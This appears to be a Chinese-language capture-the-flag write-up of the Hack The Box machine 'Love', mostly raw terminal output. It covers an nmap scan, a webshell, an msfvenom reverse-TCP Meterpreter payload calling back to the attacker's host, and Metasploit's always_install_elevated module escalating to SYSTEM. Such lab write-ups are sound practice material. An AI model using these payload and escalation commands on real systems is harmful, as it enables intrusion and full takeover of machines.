┌──(root💀kali)-[~/htb/love] └─# nmap -sC -sV -sT 10.10.10.239 -oN nmap.CVT Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 01:31 EDT Nmap scan report for staging.love.htb (10.10.10.239) Host is up (0.40s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) |_http-title: Secure file scanner 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |_http-title: 403 Forbidden | ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in | Not valid before: 2021-01-18T14:00:16 |_Not valid after: 2022-01-18T14:00:16 445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP) 3306/tcp open mysql? | fingerprint-strings: | GetRequest, Help, LDAPSearchReq, NULL: |_ Host '10.10.17.216' is not allowed to connect to this MariaDB server 5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |_http-title: 403 Forbidden 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3306-TCP:V=7.91%I=7%D=8/5%Time=610B77EA%P=x86_64-pc-linux-gnu%r(NUL SF:L,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.17\.216'\x20is\x20not\x20allow SF:ed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(GetRequest,4 SF:B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.17\.216'\x20is\x20not\x20allowed\ SF:x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Help,4B,"G\0\0\ SF:x01\xffj\x04Host\x20'10\.10\.17\.216'\x20is\x20not\x20allowed\x20to\x20 SF:connect\x20to\x20this\x20MariaDB\x20server")%r(LDAPSearchReq,4B,"G\0\0\ SF:x01\xffj\x04Host\x20'10\.10\.17\.216'\x20is\x20not\x20allowed\x20to\x20 SF:connect\x20to\x20this\x20MariaDB\x20server"); Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: |_clock-skew: mean: 2h45m34s, deviation: 4h02m32s, median: 25m32s | smb-os-discovery: | OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3) | OS CPE: cpe:/o:microsoft:windows_10::- | Computer name: Love | NetBIOS computer name: LOVE\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2021-08-04T22:58:30-07:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-08-05T05:58:29 |_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 143.66 seconds
0x02.访问80端口
就一个登入框
0x03.访问5000端口
发现没有权限
0x04.列一下目录
可以发现admin dist images includes plugins,访问这些目录并没有发现什么敏感信息
[*] Started reverse TCP handler on 0.0.0.0:5555 [*] Sending stage (39282 bytes) to 10.10.10.239 [*] - Meterpreter session 1 closed. Reason: Died [-] Meterpreter session 1 is not valid and will be closed
0x09.使用Behinder
Godzilla反弹shell失败了,这里使用Behinder成功了,但是也不能提权。。。。
0x10.提权
使用msfvenom提权
1 2 3 4 5 6 7 8
┌──(root💀kali)-[/usr/share/webshells/php] └─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.17.216 LPORT=6666 -f exe > /root/htb/love/sb.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 354 bytes Final size of exe file: 73802 bytes
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 10.10.17.216 yes The listen address (an interface may be specified) LPORT 6666 yes The listen port
Exploit target:
Id Name -- ---- 0 Wildcard Target
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.17.216:6666
执行sb.exe
得到shell,但是不能提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.17.216:6666 [*] Sending stage (175174 bytes) to 10.10.10.239 [*] Meterpreter session 10 opened (10.10.17.216:6666 -> 10.10.10.239:52612) at 2021-08-05 04:07:09 -0400
meterpreter > getuid Server username: LOVE\Phoebe meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin) [-] Named Pipe Impersonation (Dropper/Admin) [-] Token Duplication (In Memory/Admin) [-] Named Pipe Impersonation (RPCSS variant) meterpreter >
Id Name Type Information Connection -- ---- ---- ----------- ---------- 10 meterpreter x86/windows LOVE\Phoebe @ LOVE 10.10.17.216:6666 -> 10.10.10.239:52612 (10.10.10.239)
msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated [*] Using configured payload windows/meterpreter/reverse_tcp msf6 exploit(windows/local/always_install_elevated) > set session 10 session => 10 msf6 exploit(windows/local/always_install_elevated) > options
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 10.10.17.216 yes The listen address (an interface may be specified) LPORT 6666 yes The listen port
Exploit target:
Id Name -- ---- 0 Windows
msf6 exploit(windows/local/always_install_elevated) > run
[*] Started reverse TCP handler on 10.10.17.216:6666 [*] Uploading the MSI to C:\Users\Phoebe\AppData\Local\Temp\pqfzrkZhtqhj.msi ... [*] Executing MSI... [*] Sending stage (175174 bytes) to 10.10.10.239 [+] Deleted C:\Users\Phoebe\AppData\Local\Temp\pqfzrkZhtqhj.msi [*] Meterpreter session 11 opened (10.10.17.216:6666 -> 10.10.10.239:52625) at 2021-08-05 04:10:28 -0400
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > pwd C:\WINDOWS\system32 meterpreter > cd / meterpreter > pwd C:\ meterpreter > dir Listing: C:\ ============
Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 4096 dir 2015-07-10 07:04:22 -0400 $Recycle.Bin 40777/rwxrwxrwx 0 dir 2021-04-12 16:17:58 -0400 $WinREAgent 40777/rwxrwxrwx 4096 dir 2021-04-12 15:55:58 -0400 Administration 100666/rw-rw-rw- 1 fil 2015-07-10 09:20:06 -0400 BOOTNXT 40777/rwxrwxrwx 0 dir 2015-07-10 08:21:38 -0400 Documents and Settings 0000/--------- 0 fif 1969-12-31 19:00:00 -0500 DumpStack.log.tmp 40777/rwxrwxrwx 0 dir 2019-12-07 04:14:52 -0500 PerfLogs 40555/r-xr-xr-x 4096 dir 2019-12-07 04:14:52 -0500 Program Files 40555/r-xr-xr-x 4096 dir 2019-12-07 04:14:52 -0500 Program Files (x86) 40777/rwxrwxrwx 4096 dir 2019-12-07 04:14:52 -0500 ProgramData 40777/rwxrwxrwx 0 dir 2021-04-12 15:18:22 -0400 Recovery 40777/rwxrwxrwx 4096 dir 2021-04-12 15:16:36 -0400 System Volume Information 40555/r-xr-xr-x 4096 dir 2019-12-07 04:03:44 -0500 Users 40777/rwxrwxrwx 16384 dir 2019-12-07 04:03:44 -0500 Windows 100444/r--r--r-- 395268 fil 2015-07-10 09:20:06 -0400 bootmgr 0000/--------- 0 fif 1969-12-31 19:00:00 -0500 pagefile.sys 0000/--------- 0 fif 1969-12-31 19:00:00 -0500 swapfile.sys 40777/rwxrwxrwx 12288 dir 2021-04-12 11:16:48 -0400 xampp
meterpreter > cd Users meterpreter > dir Listing: C:\Users =================
Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 8192 dir 2021-04-12 17:06:49 -0400 Administrator 40777/rwxrwxrwx 0 dir 2019-12-07 04:30:39 -0500 All Users 40555/r-xr-xr-x 8192 dir 2019-12-07 04:03:44 -0500 Default 40777/rwxrwxrwx 0 dir 2019-12-07 04:30:39 -0500 Default User 40777/rwxrwxrwx 8192 dir 2021-04-12 17:41:34 -0400 Phoebe 40555/r-xr-xr-x 4096 dir 2019-12-07 04:14:52 -0500 Public 100666/rw-rw-rw- 174 fil 2019-12-07 04:14:54 -0500 desktop.ini
meterpreter > cd Administrator meterpreter > dir Listing: C:\Users\Administrator ===============================
Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40555/r-xr-xr-x 0 dir 2021-04-12 17:55:12 -0400 3D Objects 40777/rwxrwxrwx 0 dir 2021-04-12 17:06:49 -0400 AppData 40777/rwxrwxrwx 0 dir 2021-04-12 17:06:50 -0400 Application Data 40555/r-xr-xr-x 0 dir 2021-04-12 17:55:12 -0400 Contacts 40777/rwxrwxrwx 0 dir 2021-04-12 17:06:50 -0400 Cookies 40555/r-xr-xr-x 0 dir 2021-04-12 17:06:49 -0400 Desktop 40555/r-xr-xr-x 4096 dir 2021-04-12 17:06:49 -0400 Documents 40555/r-xr-xr-x 0 dir 2021-04-12 17:06:49 -0400 Downloads 40555/r-xr-xr-x 0 dir 2021-04-12 17:06:49 -0400 Favorites 40555/r-xr-xr-x 0 dir 2021-04-12 17:06:49 -0400 Links 40777/rwxrwxrwx 0 dir 2021-04-12 17:06:50 -0400 Local Settings 40555/r-xr-xr-x 0 dir 2021-04-12 17:06:49 -0400 Music 40777/rwxrwxrwx 0 dir 2021-04-12 17:06:50 -0400 My Documents 100666/rw-rw-rw- 1048576 fil 2021-04-12 17:06:49 -0400 NTUSER.DAT 100666/rw-rw-rw- 65536 fil 2021-04-12 17:06:50 -0400 NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TM.blf 100666/rw-rw-rw- 524288 fil 2021-04-12 17:06:50 -0400 NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer0000000000 0000000001.regtrans-ms 100666/rw-rw-rw- 524288 fil 2021-04-12 17:06:50 -0400 NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer0000000000 0000000002.regtrans-ms 40777/rwxrwxrwx 0 dir 2021-04-12 17:06:50 -0400 NetHood 40555/r-xr-xr-x 0 dir 2021-04-12 18:00:20 -0400 OneDrive 40555/r-xr-xr-x 0 dir 2021-04-12 17:06:49 -0400 Pictures 40777/rwxrwxrwx 0 dir 2021-04-12 17:06:50 -0400 PrintHood 40777/rwxrwxrwx 0 dir 2021-04-12 17:06:50 -0400 Recent 40555/r-xr-xr-x 0 dir 2021-04-12 17:06:49 -0400 Saved Games 40555/r-xr-xr-x 0 dir 2021-04-12 17:55:12 -0400 Searches 40777/rwxrwxrwx 0 dir 2021-04-12 17:06:50 -0400 SendTo 40777/rwxrwxrwx 0 dir 2021-04-12 17:06:50 -0400 Start Menu 40777/rwxrwxrwx 0 dir 2021-04-12 17:06:50 -0400 Templates 40555/r-xr-xr-x 0 dir 2021-04-12 17:06:49 -0400 Videos 100666/rw-rw-rw- 316416 fil 2021-04-12 17:06:50 -0400 ntuser.dat.LOG1 100666/rw-rw-rw- 90112 fil 2021-04-12 17:06:50 -0400 ntuser.dat.LOG2 100666/rw-rw-rw- 20 fil 2021-04-12 17:06:50 -0400 ntuser.ini
meterpreter > cd Desktop meterpreter > dir Listing: C:\Users\Administrator\Desktop =======================================
Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 282 fil 2021-04-12 17:55:12 -0400 desktop.ini 100444/r--r--r-- 34 fil 2021-04-13 06:20:17 -0400 root.txt